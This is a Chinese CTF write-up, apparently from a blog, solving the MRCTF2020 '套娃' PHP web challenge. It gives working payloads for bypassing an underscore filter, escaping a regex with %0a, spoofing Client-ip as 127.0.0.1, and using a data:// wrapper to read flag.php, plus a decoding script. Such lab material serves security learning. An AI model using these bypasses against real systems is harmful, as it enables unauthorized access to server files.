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[MRCTF2020]套娃

作者:互联网

打开环境,啥都没发现:

 

 F12看到一些源码:

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

$_SERVER['QUERY_STRING']是用来查询(query)的字符串,它等于URL 中第一个问号 ? 之后的内容,例如:http://localhost/aaa/?p=222,$_SERVER[‘QUERY_STRING’] = “p=222”;

然后看第一个if是“||”,也就是说两个条件满足其中一个就为真,substr_count()函数计算子串在字符串中出现的次数,这里计算$query中出现“_”和"%5f"的次数,也就是说不能出出现"_"和它的url编码%5f,如果出现就会结束程序。

第二个if是&&,也就是说都要满足才为真,需要传递一个参数b_u_p_t(但是这个参数是有下划线的_),但是b_u_p_t值不能完全等于23333,b_u_p_t值的开头必须是23333 正则表达式的^,b_u_p_t值的结尾也需要是23333 正则表达式的$。

总的来说就是要绕过第一个if而成功执行第二个if,不能有下滑线,那就只有用其他字符替换它,这里用空格,%20和点都可以绕过,这样就饶过了第一个。第二个因为正则匹配中’^‘和’$'代表的是行的开头和结尾,所以能利用换行绕过%0a

这三种都行:
?b%20u%20p%20t=23333%0a
?b u p t=23333%0a
?b.u.p.t=23333%0a

得到提示:

 我们访问secrettw.php:

 在源码中又发现了jsfuck密码:

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-->

解密得到:post me Merak

提示我们给Merak post传值,那我们就随便传值:

得到源码: 

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); // ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置,对于虚拟空间来说,很方便。 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){
    $v = base64_decode($v);
    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr(ord($v[$i]) + $i*2); //ord函数返回字符的ASCII码值,chr函数返回相对应于ascii所指定的单个字符,两个函数互补
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();

if($ip!='127.0.0.1')
    echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
    echo "Your REQUEST is:".change($_GET['file']);
    echo file_get_contents(change($_GET['file'])); 
}

?>  

分析代码,i p = g e t I p ( ) ; 应 该 是 使 用 了 头 部 的 t a k e i p . p h p 中 的 函 数 来 获 取 客 户 端 i p , 再 将 获 取 到 的 i p 赋 值 给 变 量 ip = getIp();

IP地址如果不为为127.0.0.1,否则输出"Sorry,you don't have permission!  Your ip is :".$ip;IP地址为127.0.0.1且2333GET传值后经过file_get_contents函数处理后要等于'todat is a happy day',我们一看到file_get_contents函数,就应该想到伪协议,这里可以用data伪协议绕过,并用Client-ip伪造IP为127.0.0.1(本题无法用xff),这里可以用一个叫ModHeader的插件,如何下载可以看一下这篇文章:火狐浏览器安装Modify Headers ----------- 修改请求头插件_若丶时光破灭的博客-CSDN博客

也可以在bp上抓包直接添加:Client-ip: 127.0.0.1

secrettw.php?2333=data://text/plain,todat is a happy day

还有file没有传参,flie就是用来传flag.php的,但是这个flag是经过change加密的,我们需要解密回去:

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

首先定义用法,然后将变量进行base64解码(这说明后面POST参数file的值必须先进行base64编码),然后通过一段for循环,这段for循环的作用是先将字符转换为ASCII码,再将ASCII码逐步+$i*2$i初始值为0,然后再转回字符
其中strlen函数作用是计算字符的数目,chr是把ASCII转成字符,ord是把字符转成ASCII数字

加密过程很简单,想要解密的话只需要将+改成-即可:

<?php
function unchange($v){ 

    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}



$real_flag = unchange('flag.php');

echo base64_encode($real_flag);
?>

得到:ZmpdYSZmXGI=

所以最后Get传值:

secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

加上Client-ip:127.0.0.1得到答案:

 

标签:字符,127.0,套娃,0.1,ip,file,day,MRCTF2020
来源: https://blog.csdn.net/qq_52907838/article/details/119417737